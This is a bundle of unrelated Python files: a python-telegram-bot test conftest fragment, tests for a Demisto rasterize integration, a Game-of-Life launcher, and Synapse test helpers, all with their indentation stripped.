def chat_id(bot_info):
return bot_info['chat_id']
@pytest.fixture(scope='session')
def super_group_id(bot_info):
return bot_info['super_group_id']
@pytest.fixture(scope='session')
def channel_id(bot_info):
return bot_info['channel_id']
@pytest.fixture(scope='session')
def provider_token(bot_info):
return bot_info['payment_provider_token']
def create_dp(bot):
# Dispatcher is heavy to init (due to many threads and such) so we have a single session
# scoped one here, but before each test, reset it (dp fixture below)
dispatcher = Dispatcher(bot, Queue(), job_queue=JobQueue(), workers=2, use_context=False)
dispatcher.job_queue.set_dispatcher(dispatcher)
thr = Thread(target=dispatcher.start)
thr.start()
sleep(2)
yield dispatcher
sleep(1)
if dispatcher.running:
dispatcher.stop()
thr.join()
@pytest.fixture(scope='session')
def _dp(bot):
for dp in create_dp(bot):
yield dp
@pytest.fixture(scope='function')
def dp(_dp):
# Reset the dispatcher first
while not _dp.update_queue.empty():
_dp.update_queue.get(False)
_dp.chat_data = defaultdict(dict)
_dp.user_data = defaultdict(dict)
_dp.bot_data = {}
_dp.persistence = None
_dp.handlers = {}
_dp.groups = []
_dp.error_handlers = []
_dp.__stop_event = Event()
_dp.__exception_event = Event()
_dp.__async_queue = Queue()
_dp.__async_threads = set()
_dp.persistence = None
_dp.use_context = False
if _dp._Dispatcher__singleton_semaphore.acquire(blocking=0):
Dispatcher._set_singleton(_dp)
yield _dp
Dispatcher._Dispatcher__singleton_semaphore.release()
@pytest.fixture(scope='function')
def cdp(dp):
dp.use_context = True
yield dp
dp.use_context = False
@pytest.fixture(scope='function')
def updater(bot):
up = Updater(bot=bot, workers=2)
yield up
if up.running:
up.stop()
@pytest.fixture(scope='function')
def thumb_file():
f = open(u'tests/data/thumb.jpg', 'rb')
yield f
f.close()
@pytest.fixture(scope='class')
def class_thumb_file():
f = open(u'tests/data/thumb.jpg', 'rb')
yield f
f.close()
def pytest_configure(config):
config.addinivalue_line('filterwarnings', 'ignore::ResourceWarning')
# TODO: Write so good code that we don't need to ignore ResourceWarnings anymore
def make_bot(bot_info, **kwargs):
return Bot(bot_info['token'], private_key=PRIVATE_KEY, **kwargs)
CMD_PATTERN = re.compile(r'/[\da-z_]{1,32}(?:@\w{1,32})?')
DATE = datetime.datetime.now()
def make_message(text, **kwargs):
"""
Testing utility factory to create a fake ``telegram.Message`` with
reasonable defaults for mimicking a real message.
:param text: (str) message text
:return: a (fake) ``telegram.Message``
"""
return Message(message_id=1,
from_user=kwargs.pop('user', User(id=1, first_name='first_name', is_bot=False,username='username')),
date=kwargs.pop('date', DATE),
chat=kwargs.pop('chat', Chat(id=1, type='')),
text=text,
bot=kwargs.pop('bot', make_bot(get_bot())),
**kwargs)
def make_command_message(text, **kwargs):
"""
Testing utility factory to create a message containing a single telegram
command.
Mimics the Telegram API in that it identifies commands within the message
and tags the returned ``Message`` object with the appropriate ``MessageEntity``
tag (but it does this only for commands).
:param text: (str) message text containing (or not) the command
:return: a (fake) ``telegram.Message`` containing only the command
"""
match = re.search(CMD_PATTERN, text)
entities = [MessageEntity(type=MessageEntity.BOT_COMMAND,
offset=match.start(0),
length=len(match.group(0)))] if match else []
return make_message(text, entities=entities, **kwargs)
def make_message_update(message, message_factory=make_message, edited=False, **kwargs):
"""
Testing utility factory to create an update from a message, as either a
``telegram.Message`` or a string. In the latter case ``message_factory``
is used to convert ``message`` to a ``telegram.Message``.
:param message: either a ``telegram.Message`` or a string with the message text
:param message_factory: function to convert the message text into a ``telegram.Message``
:param edited: whether the message should be stored as ``edited_message`` (vs. ``message``)
:return: ``telegram.Update`` with the given message
"""
if not isinstance(message, Message):
message = message_factory(message, **kwargs)
update_kwargs = {'message' if not edited else 'edited_message': message}
return Update(0, **update_kwargs)
def make_command_update(message, edited=False, **kwargs):
"""
Testing utility factory to create an update from a message that potentially
contains a command. See ``make_command_message`` for more details.
:param message: message potentially containing a command
:param edited: whether the message should be stored as ``edited_message`` (vs. ``message``)
:return: ``telegram.Update`` with the given message
"""
return make_message_update(message, make_command_message, edited, **kwargs)
def make_callback_query_update(message,query_data,message_factory=make_message, edited=False,**kwargs):
if not isinstance(message, Message):
message = message_factory(message, **kwargs)
callback_query = CallbackQuery(1,message.from_user,"1",message=message,data=query_data)
update_kwargs = {'callback_query':callback_query}
return Update(0,**update_kwargs)
@pytest.fixture(scope='function')
def mock_filter():
class MockFilter(BaseFilter):
def __init__(self):
self.tested = False
def filter(self, message):
self.tested = True
return MockFilter()
def get_false_update_fixture_decorator_params():
message = Message(1, User(1, '', False), DATE, Chat(1, ''), text='test')
params = [
{'callback_query': CallbackQuery(1, User(1, '', False), 'chat', message=message)},
{'channel_post': message},
{'edited_channel_post': message},
{'inline_query': InlineQuery(1, User(1, '', False), '', '')},
{'chosen_inline_result': ChosenInlineResult('id', User(1, '', False), '')},
{'shipping_query': ShippingQuery('id', User(1, '', False), '', None)},
{'pre_checkout_query': PreCheckoutQuery('id', User(1, '', False), '', 0, '')},
{'callback_query': CallbackQuery(1, User(1, '', False), 'chat')}
]
ids = tuple(key for kwargs in params for key in kwargs)
return {'params': params, 'ids': ids}
@pytest.fixture(scope='function', **get_false_update_fixture_decorator_params())
def false_update(request):
return Update(update_id=1, **request.param)
@pytest.fixture(params=[1, 2], ids=lambda h: 'UTC +{hour:0>2}:00'.format(hour=h))
def utc_offset(request):
return datetime.timedelta(hours=request.param)
@pytest.fixture()
def timezone(utc_offset):
return datetime.timezone(utc_offset)
def expect_bad_request(func, message, reason):
"""
Wrapper for testing bot functions expected to result in an :class:`telegram.error.BadRequest`.
Makes it XFAIL, if the specified error message is present.
Args:
func: The callable to be executed.
message: The expected message of the bad request error. If another message is present,
the error will be reraised.
reason: Explanation for the XFAIL.
Returns:
On success, returns the return value of :attr:`func`
"""
try:
return func()
except BadRequest as e:
if message in str(e):
pytest.xfail('{}. {}'.format(reason, e))
else:
raise e
|
rasterize_test.py | from rasterize import rasterize, find_zombie_processes, merge_options, DEFAULT_CHROME_OPTIONS, rasterize_image_command
import demistomock as demisto
from CommonServerPython import entryTypes
from tempfile import NamedTemporaryFile
import subprocess
import os
import logging
import http.server
import time
import threading
import pytest
# disable warning from urllib3. these are emitted when python driver can't connect to chrome yet
logging.getLogger("urllib3").setLevel(logging.ERROR)
RETURN_ERROR_TARGET = 'rasterize.return_error'
def test_rasterize_email_image(caplog):
with NamedTemporaryFile('w+') as f:
f.write('<html><head><meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\">'
'</head><body><br>---------- TEST FILE ----------<br></body></html>')
path = os.path.realpath(f.name)
f.flush()
rasterize(path=f'file://{path}', width=250, height=250, r_type='png')
caplog.clear()
def test_rasterize_email_pdf(caplog):
with NamedTemporaryFile('w+') as f:
f.write('<html><head><meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\">'
'</head><body><br>---------- TEST FILE ----------<br></body></html>')
path = os.path.realpath(f.name)
f.flush()
rasterize(path=f'file://{path}', width=250, height=250, r_type='pdf', offline_mode=False)
caplog.clear()
def test_rasterize_email_pdf_offline(caplog):
with NamedTemporaryFile('w+') as f:
f.write('<html><head><meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\">'
'</head><body><br>---------- TEST FILE ----------<br></body></html>')
path = os.path.realpath(f.name)
f.flush()
rasterize(path=f'file://{path}', width=250, height=250, r_type='pdf', offline_mode=True)
caplog.clear()
def test_rasterize_no_defunct_processes(caplog):
with NamedTemporaryFile('w+') as f:
f.write('<html><head><meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\">'
'</head><body><br>---------- TEST FILE ----------<br></body></html>')
path = os.path.realpath(f.name)
f.flush()
rasterize(path=f'file://{path}', width=250, height=250, r_type='pdf', offline_mode=False)
process = subprocess.Popen(['ps', '-aux'], stdout=subprocess.PIPE, stderr=subprocess.PIPE,
universal_newlines=True)
processes_str, _ = process.communicate()
processes = processes_str.split('\n')
defunct_process_list = [process for process in processes if 'defunct' in process]
assert not defunct_process_list
zombies, output = find_zombie_processes()
assert not zombies
assert 'defunct' not in output
caplog.clear()
@pytest.mark.filterwarnings('ignore::ResourceWarning')
def test_find_zombie_processes(mocker):
ps_output = ''' PID PPID S CMD
1 0 S python /tmp/pyrunner/_script_docker_python_loop.py
39 1 Z [soffice.bin] <defunct>
55 1 Z [gpgconf] <defunct>
57 1 Z [gpgconf] <defunct>
59 1 Z [gpg] <defunct>
61 1 Z [gpgsm] <defunct>
63 1 Z [gpgconf] <defunct>
98 1 Z [gpgconf] <defunct>
100 1 Z [gpgconf] <defunct>
102 1 Z [gpg] <defunct>
'''
mocker.patch.object(subprocess, 'check_output', return_value=ps_output)
mocker.patch.object(os, 'getpid', return_value=1)
zombies, output = find_zombie_processes()
assert len(zombies) == 9
assert output == ps_output
def test_merge_options():
res = merge_options(DEFAULT_CHROME_OPTIONS, '')
assert res == DEFAULT_CHROME_OPTIONS
res = merge_options(DEFAULT_CHROME_OPTIONS, '[--disable-dev-shm-usage],--disable-auto-reload, --headless')
assert '--disable-dev-shm-usage' not in res
assert '--no-sandbox' in res # part of default options
assert '--disable-auto-reload' in res
assert len([x for x in res if x == '--headless']) == 1 # should have only one headless option
res = merge_options(DEFAULT_CHROME_OPTIONS, r'--user-agent=test\,comma')
assert len([x for x in res if x.startswith('--user-agent')]) == 1
assert '--user-agent=test,comma' in res
res = merge_options(DEFAULT_CHROME_OPTIONS, r'[--user-agent]') # remove user agent
assert len([x for x in res if x.startswith('--user-agent')]) == 0
def test_rasterize_large_html():
path = os.path.realpath('test_data/large.html')
res = rasterize(path=f'file://{path}', width=250, height=250, r_type='png')
assert res
@pytest.fixture
def http_wait_server():
# Simple http handler which waits 10 seconds before responding
class WaitHanlder(http.server.BaseHTTPRequestHandler):
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def do_GET(self):
time.sleep(10)
try:
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(bytes("<html><head><title>Test wait handler</title></head>"
"<body><p>Test Wait</p></body></html>", 'utf-8'))
self.flush_headers()
except BrokenPipeError: # ignore broken pipe as socket might have been closed
pass
# disable logging
def log_message(self, format, *args):
pass
with http.server.ThreadingHTTPServer(('', 10888), WaitHanlder) as server:
server_thread = threading.Thread(target=server.serve_forever)
server_thread.start()
yield
server.shutdown()
server_thread.join()
# Some web servers can block the connection after the http is sent
# In this case chromium will hang. An example for this is:
# curl -v -H 'user-agent: HeadlessChrome' --max-time 10 "http://www.grainger.com/" # disable-secrets-detection
# This tests access a server which waits for 10 seconds and makes sure we timeout
@pytest.mark.filterwarnings('ignore::ResourceWarning')
def test_rasterize_url_long_load(mocker, http_wait_server):
return_error_mock = mocker.patch(RETURN_ERROR_TARGET)
time.sleep(1) # give time to the servrer to start
rasterize('http://localhost:10888', width=250, height=250, r_type='png', max_page_load_time=5)
assert return_error_mock.call_count == 1
# call_args last call with a tuple of args list and kwargs
err_msg = return_error_mock.call_args[0][0]
assert 'Timeout exception' in err_msg
return_error_mock.reset_mock()
# test that with a higher value we get a response
assert rasterize('http://localhost:10888', width=250, height=250, r_type='png', max_page_load_time=0)
assert not return_error_mock.called
@pytest.mark.filterwarnings('ignore::ResourceWarning')
def test_rasterize_image_to_pdf(mocker):
path = os.path.realpath('test_data/image.png')
mocker.patch.object(demisto, 'args', return_value={'EntryID': 'test'})
mocker.patch.object(demisto, 'getFilePath', return_value={"path": path})
mocker.patch.object(demisto, 'results')
rasterize_image_command()
assert demisto.results.call_count == 1
# call_args is tuple (args list, kwargs). we only need the first one
results = demisto.results.call_args[0]
assert len(results) == 1
assert results[0]['Type'] == entryTypes['entryInfoFile']
TEST_DATA = [
(
'test_data/many_pages.pdf',
21,
2,
),
(
'test_data/many_pages.pdf',
20,
1,
),
]
@pytest.mark.parametrize('file_path, max_pages, expected_length', TEST_DATA)
def test_convert_pdf_to_jpeg(file_path, max_pages, expected_length):
from rasterize import convert_pdf_to_jpeg
res = convert_pdf_to_jpeg(file_path, max_pages, "pass")
assert type(res) == list
assert len(res) == expected_length
|
main.py | from game import Game
from ui import CellsUI
from gameconfig import SpawnConfig
from gameconfig import GameConfig
import threading
def run():
while True:
#g.status(10, True)
cells = g.next()
ui.update(cells)
if __name__ == "__main__":
#g = Game(spawnConfig=SpawnConfig.All())
conf = GameConfig()
conf.dimension = 6
spawn = SpawnConfig()
g = Game(spawnConfig=spawn, gameConfig=conf)
#ui = CellsUI(dead_color=(250, 250, 250), screen_width=500, screen_height=500)
ui = CellsUI(dead_color=(250, 250, 250), screen_width=500, screen_height=500)
ui.run()
t1 = threading.Thread(target=run, args=())
t1.start()
#for x in range(1,10000):
# #g.status(10, True)
# cells = g.next()
# ui.update(cells)
#g.status(10, printField=True)
|
utils.py | '''
This contains the core test helper code used in Synapse.
This gives the opportunity for third-party users of Synapse to test their
code using some of the same helpers used to test Synapse.
The core class, synapse.tests.utils.SynTest is a subclass of unittest.TestCase,
with several wrapper functions to allow for easier calls to assert* functions,
with less typing. There are also Synapse specific helpers, to load Cortexes and
whole both multi-component environments into memory.
Since SynTest is built from unittest.TestCase, the use of SynTest is
compatible with the unittest, nose and pytest frameworks. This does not lock
users into a particular test framework; while at the same time allowing base
use to be invoked via the built-in Unittest library, with one important exception:
due to an unfortunate design approach, you cannot use the unittest module command
line to run a *single* async unit test. pytest works fine though.
'''
import io
import os
import sys
import copy
import math
import types
import shutil
import asyncio
import hashlib
import inspect
import logging
import tempfile
import unittest
import threading
import contextlib
import collections
import unittest.mock as mock
import aiohttp
from prompt_toolkit.formatted_text import FormattedText
import synapse.exc as s_exc
import synapse.axon as s_axon
import synapse.glob as s_glob
import synapse.common as s_common
import synapse.cortex as s_cortex
import synapse.daemon as s_daemon
import synapse.cryotank as s_cryotank
import synapse.telepath as s_telepath
import synapse.lib.aha as s_aha
import synapse.lib.coro as s_coro
import synapse.lib.cmdr as s_cmdr
import synapse.lib.hive as s_hive
import synapse.lib.task as s_task
import synapse.lib.const as s_const
import synapse.lib.layer as s_layer
import synapse.lib.nexus as s_nexus
import synapse.lib.storm as s_storm
import synapse.lib.types as s_types
import synapse.lib.module as s_module
import synapse.lib.output as s_output
import synapse.lib.certdir as s_certdir
import synapse.lib.httpapi as s_httpapi
import synapse.lib.msgpack as s_msgpack
import synapse.lib.lmdbslab as s_lmdbslab
import synapse.lib.thishost as s_thishost
import synapse.lib.stormtypes as s_stormtypes
logger = logging.getLogger(__name__)
# Default LMDB map size for tests
TEST_MAP_SIZE = s_const.gibibyte
async def alist(coro):
return [x async for x in coro]
def norm(z):
if isinstance(z, (list, tuple)):
return tuple([norm(n) for n in z])
if isinstance(z, dict):
return {norm(k): norm(v) for (k, v) in z.items()}
return z
class LibTst(s_stormtypes.Lib):
'''
LibTst for testing!
'''
_storm_locals = (
{'name': 'beep',
'desc': '''
Example storm func.
Notes:
It beeps strings!''',
'type': {'type': 'function', '_funcname': 'beep',
'args': (
{'name': 'valu', 'type': 'str', 'desc': 'The value to beep.', },
),
'returns': {'type': 'str', 'desc': 'The beeped string.', }}},
)
_storm_lib_path = ('test',)
def addLibFuncs(self):
self.locls.update({
'beep': self.beep,
})
async def beep(self, valu):
'''
Example storm func
'''
ret = f'A {valu} beep!'
return ret
class TestType(s_types.Type):
stortype = s_layer.STOR_TYPE_UTF8
def postTypeInit(self):
self.setNormFunc(str, self._normPyStr)
def _normPyStr(self, valu):
return valu.lower(), {}
class ThreeType(s_types.Type):
stortype = s_layer.STOR_TYPE_U8
def norm(self, valu):
return 3, {'subs': {'three': 3}}
def repr(self, valu):
return '3'
class TestSubType(s_types.Type):
stortype = s_layer.STOR_TYPE_U32
def norm(self, valu):
valu = int(valu)
return valu, {'subs': {'isbig': valu >= 1000}}
def repr(self, norm):
return str(norm)
class TestRunt:
def __init__(self, name, **kwargs):
self.name = name
self.props = kwargs
self.props.setdefault('.created', s_common.now())
def getStorNode(self, form):
ndef = (form.name, form.type.norm(self.name)[0])
buid = s_common.buid(ndef)
pnorms = {}
for prop, valu in self.props.items():
formprop = form.props.get(prop)
if formprop is not None and valu is not None:
pnorms[prop] = formprop.type.norm(valu)[0]
return (buid, {
'ndef': ndef,
'props': pnorms,
})
testmodel = {
'ctors': (
('test:sub', 'synapse.tests.utils.TestSubType', {}, {}),
('test:type', 'synapse.tests.utils.TestType', {}, {}),
('test:threetype', 'synapse.tests.utils.ThreeType', {}, {}),
),
'types': (
('test:type10', ('test:type', {'foo': 10}), {
'doc': 'A fake type.'}),
('test:lower', ('str', {'lower': True}), {}),
('test:time', ('time', {}), {}),
('test:ival', ('ival', {}), {}),
('test:int', ('int', {}), {}),
('test:float', ('float', {}), {}),
('test:str', ('str', {}), {}),
('test:migr', ('str', {}), {}),
('test:auto', ('str', {}), {}),
('test:edge', ('edge', {}), {}),
('test:guid', ('guid', {}), {}),
('test:data', ('data', {}), {}),
('test:arrayprop', ('guid', {}), {}),
('test:arrayform', ('array', {'type': 'int'}), {}),
('test:comp', ('comp', {'fields': (
('hehe', 'test:int'),
('haha', 'test:lower'))
}), {'doc': 'A fake comp type.'}),
('test:compcomp', ('comp', {'fields': (
('comp1', 'test:comp'),
('comp2', 'test:comp'))
}), {}),
('test:complexcomp', ('comp', {'fields': (
('foo', 'test:int'),
('bar', ('str', {'lower': True}),),
)}), {'doc': 'A complex comp type.'}),
('test:hexa', ('hex', {}), {'doc': 'anysize test hex type'}),
('test:hex4', ('hex', {'size': 4}), {'doc': 'size 4 test hex type'}),
('test:pivtarg', ('str', {}), {}),
('test:pivcomp', ('comp', {'fields': (('targ', 'test:pivtarg'), ('lulz', 'test:str'))}), {}),
('test:haspivcomp', ('int', {}), {}),
('test:cycle0', ('str', {}), {}),
('test:cycle1', ('str', {}), {}),
('test:ndef', ('ndef', {}), {}),
('test:runt', ('str', {'lower': True, 'strip': True}), {'doc': 'A Test runt node'}),
),
'univs': (
('test:univ', ('int', {'min': -1, 'max': 10}), {'doc': 'A test universal property.'}),
('univarray', ('array', {'type': 'int'}), {'doc': 'A test array universal property.'}),
),
'forms': (
('test:arrayprop', {}, (
('ints', ('array', {'type': 'test:int'}), {}),
('strs', ('array', {'type': 'test:str', 'split': ','}), {}),
('strsnosplit', ('array', {'type': 'test:str'}), {}),
)),
('test:arrayform', {}, (
)),
('test:type10', {}, (
('intprop', ('int', {'min': 20, 'max': 30}), {}),
('int2', ('int', {}), {}),
('strprop', ('str', {'lower': 1}), {}),
('guidprop', ('guid', {'lower': 1}), {}),
('locprop', ('loc', {}), {}),
)),
('test:cycle0', {}, (
('cycle1', ('test:cycle1', {}), {}),
)),
('test:cycle1', {}, (
('cycle0', ('test:cycle0', {}), {}),
)),
('test:type', {}, ()),
('test:comp', {}, (
('hehe', ('test:int', {}), {'ro': True}),
('haha', ('test:lower', {}), {'ro': True}),
)),
('test:compcomp', {}, (
('comp1', ('test:comp', {}), {}),
('comp2', ('test:comp', {}), {}),
)),
('test:complexcomp', {}, (
('foo', ('test:int', {}), {'ro': True}),
('bar', ('str', {'lower': 1}), {'ro': True})
)),
('test:int', {}, (
('loc', ('loc', {}), {}),
('int2', ('int', {}), {}),
)),
('test:float', {}, (
('closed', ('float', {'min': 0.0, 'max': 360.0}), {}),
('open', ('float', {'min': 0.0, 'max': 360.0, 'minisvalid': False, 'maxisvalid': False}), {}),
)),
('test:edge', {}, (
('n1', ('ndef', {}), {'ro': True}),
('n1:form', ('str', {}), {'ro': True}),
('n2', ('ndef', {}), {'ro': True}),
('n2:form', ('str', {}), {'ro': True}),
)),
('test:guid', {}, (
('size', ('test:int', {}), {}),
('tick', ('test:time', {}), {}),
('posneg', ('test:sub', {}), {}),
('posneg:isbig', ('bool', {}), {}),
)),
('test:data', {}, (
('data', ('test:data', {}), {}),
)),
('test:str', {}, (
('bar', ('ndef', {}), {}),
('baz', ('nodeprop', {}), {}),
('tick', ('test:time', {}), {}),
('hehe', ('str', {}), {}),
)),
('test:migr', {}, (
('bar', ('ndef', {}), {}),
('baz', ('nodeprop', {}), {}),
('tick', ('test:time', {}), {}),
)),
('test:threetype', {}, (
('three', ('int', {}), {}),
)),
('test:auto', {}, ()),
('test:hexa', {}, ()),
('test:hex4', {}, ()),
('test:ival', {}, (
('interval', ('ival', {}), {}),
)),
('test:pivtarg', {}, (
('name', ('str', {}), {}),
)),
('test:pivcomp', {}, (
('targ', ('test:pivtarg', {}), {}),
('lulz', ('test:str', {}), {}),
('tick', ('time', {}), {}),
('size', ('test:int', {}), {}),
('width', ('test:int', {}), {}),
)),
('test:haspivcomp', {}, (
('have', ('test:pivcomp', {}), {}),
)),
('test:ndef', {}, (
('form', ('str', {}), {'ro': True}),
)),
('test:runt', {'runt': True}, (
('tick', ('time', {}), {'ro': True}),
('lulz', ('str', {}), {}),
('newp', ('str', {}), {'doc': 'A stray property we never use in nodes.'}),
)),
),
}
deprmodel = {
'types': (
('test:deprprop', ('test:str', {}), {'deprecated': True}),
('test:deprarray', ('array', {'type': 'test:deprprop'}), {}),
('test:deprform', ('test:str', {}), {}),
('test:deprndef', ('ndef', {}), {}),
),
'forms': (
('test:deprprop', {}, ()),
('test:deprform', {}, (
('ndefprop', ('test:deprndef', {}), {}),
('deprprop', ('test:deprarray', {}), {}),
('okayprop', ('str', {}), {}),
)),
),
}
class TestCmd(s_storm.Cmd):
'''
A test command
'''
name = 'testcmd'
forms = {
'input': [
'test:str',
'inet:ipv6',
],
'output': [
'inet:fqdn',
],
'nodedata': [
('foo', 'inet:ipv4'),
('bar', 'inet:fqdn'),
],
}
def getArgParser(self):
pars = s_storm.Cmd.getArgParser(self)
return pars
async def execStormCmd(self, runt, genr):
async for node, path in genr:
await runt.printf(f'{self.name}: {node.ndef}')
yield node, path
class DeprModule(s_module.CoreModule):
def getModelDefs(self):
return (
('depr', deprmodel),
)
class TestModule(s_module.CoreModule):
testguid = '8f1401de15918358d5247e21ca29a814'
async def initCoreModule(self):
self.core.setFeedFunc('com.test.record', self.addTestRecords)
async with await self.core.snap() as snap:
node = await snap.getNodeByNdef(('meta:source', self.testguid))
if node is None:
await snap.addNode('meta:source', self.testguid, {'name': 'test'})
self.core.addStormLib(('test',), LibTst)
self.healthy = True
self.core.addHealthFunc(self._testModHealth)
form = self.model.form('test:runt')
self.core.addRuntLift(form.full, self._testRuntLift)
for prop in form.props.values():
self.core.addRuntLift(prop.full, self._testRuntLift)
self.core.addRuntPropSet('test:runt:lulz', self._testRuntPropSetLulz)
self.core.addRuntPropDel('test:runt:lulz', self._testRuntPropDelLulz)
async def _testModHealth(self, health):
if self.healthy:
health.update(self.getModName(), 'nominal',
'Test module is healthy', data={'beep': 0})
else:
health.update(self.getModName(), 'failed',
'Test module is unhealthy', data={'beep': 1})
async def addTestRecords(self, snap, items):
for name in items:
await snap.addNode('test:str', name)
async def _testRuntLift(self, full, valu=None, cmpr=None):
now = s_common.now()
modl = self.core.model
runtdefs = [
(' BEEP ', {'tick': modl.type('time').norm('2001')[0], 'lulz': 'beep.sys', '.created': now}),
('boop', {'tick': modl.type('time').norm('2010')[0], '.created': now}),
('blah', {'tick': modl.type('time').norm('2010')[0], 'lulz': 'blah.sys'}),
('woah', {}),
]
runts = {}
for name, props in runtdefs:
runts[name] = TestRunt(name, **props)
genr = runts.values
async for node in self._doRuntLift(genr, full, valu, cmpr):
yield node
async def _doRuntLift(self, genr, full, valu=None, cmpr=None):
if cmpr is not None:
filt = self.model.prop(full).type.getCmprCtor(cmpr)(valu)
if filt is None:
raise s_exc.BadCmprValu(cmpr=cmpr)
fullprop = self.model.prop(full)
if fullprop.isform:
if cmpr is None:
for obj in genr():
yield obj.getStorNode(fullprop)
return
for obj in genr():
sode = obj.getStorNode(fullprop)
if filt(sode[1]['ndef'][1]):
yield sode
else:
for obj in genr():
sode = obj.getStorNode(fullprop.form)
propval = sode[1]['props'].get(fullprop.name)
if propval is not None and (cmpr is None or filt(propval)):
yield sode
async def _testRuntPropSetLulz(self, node, prop, valu):
curv = node.get(prop.name)
valu, _ = prop.type.norm(valu)
if curv == valu:
return False
if not valu.endswith('.sys'):
raise s_exc.BadTypeValu(mesg='test:runt:lulz must end with ".sys"',
valu=valu, name=prop.full)
node.props[prop.name] = valu
# In this test helper, we do NOT persist the change to our in-memory
# storage of row data, so a re-lift of the node would not reflect the
# change that a user made here.
return True
async def _testRuntPropDelLulz(self, node, prop,):
curv = node.props.pop(prop.name, s_common.novalu)
if curv is s_common.novalu:
return False
# In this test helper, we do NOT persist the change to our in-memory
# storage of row data, so a re-lift of the node would not reflect the
# change that a user made here.
return True
def getModelDefs(self):
return (
('test', testmodel),
)
def getStormCmds(self):
return (TestCmd,
)
class TstEnv:
def __init__(self):
self.items = {}
self.tofini = []
def __getattr__(self, prop):
item = self.items.get(prop)
if item is None:
raise AttributeError(prop)
return item
async def __aenter__(self):
return self
async def __aexit__(self, cls, exc, tb):
await self.fini()
def add(self, name, item, fini=False):
self.items[name] = item
if fini:
self.tofini.append(item)
async def fini(self):
for base in self.tofini:
await base.fini()
class TstOutPut(s_output.OutPutStr):
def expect(self, substr, throw=True):
'''
Check if a string is present in the messages captured by the OutPutStr object.
Args:
substr (str): String to check for the existence of.
throw (bool): If True, a missing substr results in a Exception being thrown.
Returns:
bool: True if the string is present; False if the string is not present and throw is False.
'''
outs = str(self)
if outs.find(substr) == -1:
if throw:
mesg = 'TestOutPut.expect(%s) not in %s' % (substr, outs)
raise s_exc.SynErr(mesg=mesg)
return False
return True
def clear(self):
self.mesgs.clear()
class CmdGenerator:
def __init__(self, cmds):
self.cmds = collections.deque(cmds)
def addCmd(self, cmd):
'''
Add a command to the end of the list of commands returned by the CmdGenerator.
Args:
cmd (str): Command to add to the list of commands to return.
'''
self.cmds.append(cmd)
def __call__(self, *args, **kwargs):
return self._corocall(*args, **kwargs)
async def _corocall(self, *args, **kwargs):
if not self.cmds:
raise Exception('No further actions.')
retn = self.cmds.popleft()
if isinstance(retn, (Exception, KeyboardInterrupt)):
raise retn
return retn
class StreamEvent(io.StringIO, threading.Event):
'''
A combination of a io.StringIO object and a threading.Event object.
'''
def __init__(self, *args, **kwargs):
io.StringIO.__init__(self, *args, **kwargs)
threading.Event.__init__(self)
self.mesg = ''
def setMesg(self, mesg):
'''
Clear the internal event and set a new message that is used to set the event.
Args:
mesg (str): The string to monitor for.
Returns:
None
'''
self.mesg = mesg
self.clear()
def write(self, s):
io.StringIO.write(self, s)
if self.mesg and self.mesg in s:
self.set()
class AsyncStreamEvent(io.StringIO, asyncio.Event):
'''
A combination of a io.StringIO object and an asyncio.Event object.
'''
def __init__(self, *args, **kwargs):
io.StringIO.__init__(self, *args, **kwargs)
asyncio.Event.__init__(self)
self.mesg = ''
def setMesg(self, mesg):
'''
Clear the internal event and set a new message that is used to set the event.
Args:
mesg (str): The string to monitor for.
Returns:
None
'''
self.mesg = mesg
self.clear()
def write(self, s):
io.StringIO.write(self, s)
if self.mesg and self.mesg in s:
self.set()
async def wait(self, timeout=None):
if timeout is None:
return await asyncio.Event.wait(self)
return await s_coro.event_wait(self, timeout=timeout)
class HttpReflector(s_httpapi.Handler):
'''Test handler which reflects get/post data back to the caller'''
async def get(self):
resp = {}
if self.request.arguments:
d = collections.defaultdict(list)
resp['params'] = d
for k, items in self.request.arguments.items():
for v in items:
d[k].append(v.decode())
resp['headers'] = dict(self.request.headers)
resp['path'] = self.request.path
sleep = resp.get('params', {}).get('sleep')
if sleep:
sleep = int(sleep[0])
await asyncio.sleep(sleep)
self.sendRestRetn(resp)
async def post(self):
resp = {}
if self.request.arguments:
d = collections.defaultdict(list)
resp['params'] = d
for k, items in self.request.arguments.items():
for v in items:
d[k].append(v.decode())
resp['headers'] = dict(self.request.headers)
resp['path'] = self.request.path
if self.request.body:
resp['body'] = s_common.enbase64(self.request.body)
self.sendRestRetn(resp)
s_task.vardefault('applynest', lambda: None)
async def _doubleapply(self, indx, item):
'''
Just like NexusRoot._apply, but calls the function twice. Patched in when global variable SYNDEV_NEXUS_REPLAY
is set.
'''
try:
nestitem = s_task.varget('applynest')
assert nestitem is None, f'Failure: have nested nexus actions, inner item is {item}, outer item was {nestitem}'
s_task.varset('applynest', item)
nexsiden, event, args, kwargs, _ = item
nexus = self._nexskids[nexsiden]
func, passitem = nexus._nexshands[event]
if passitem:
retn = await func(nexus, *args, nexsitem=(indx, item), **kwargs)
await func(nexus, *args, nexsitem=(indx, item), **kwargs)
return retn
retn = await func(nexus, *args, **kwargs)
await func(nexus, *args, **kwargs)
return retn
finally:
s_task.varset('applynest', None)
class SynTest(unittest.TestCase):
'''
Mark all async test methods as s_glob.synchelp decorated.
Note:
This precludes running a single unit test via path using the unittest module.
'''
def __init__(self, *args, **kwargs):
unittest.TestCase.__init__(self, *args, **kwargs)
self._NextBuid = 0
self._NextGuid = 0
for s in dir(self):
attr = getattr(self, s, None)
# If s is an instance method and starts with 'test_', synchelp wrap it
if inspect.iscoroutinefunction(attr) and s.startswith('test_') and inspect.ismethod(attr):
setattr(self, s, s_glob.synchelp(attr))
def checkNode(self, node, expected):
ex_ndef, ex_props = expected
self.eq(node.ndef, ex_ndef)
[self.eq(node.get(k), v, msg=f'Prop {k} does not match') for (k, v) in ex_props.items()]
diff = {prop for prop in (set(node.props) - set(ex_props)) if not prop.startswith('.')}
if diff:
logger.warning('form(%s): untested properties: %s', node.form.name, diff)
def worker(func, *args, **kwargs):
'''
Fire a worker thread to run the given func(*args,**kwargs)
'''
def work():
return func(*args, **kwargs)
thr = threading.Thread(target=work)
thr.start()
return thr
def printed(self, msgs, text):
# a helper for testing storm print message output
for mesg in msgs:
if mesg[0] == 'print':
if mesg[1].get('mesg') == text:
return
raise Exception('print output not found: %r' % (text,))
def skip(self, mesg):
raise unittest.SkipTest(mesg)
@contextlib.contextmanager
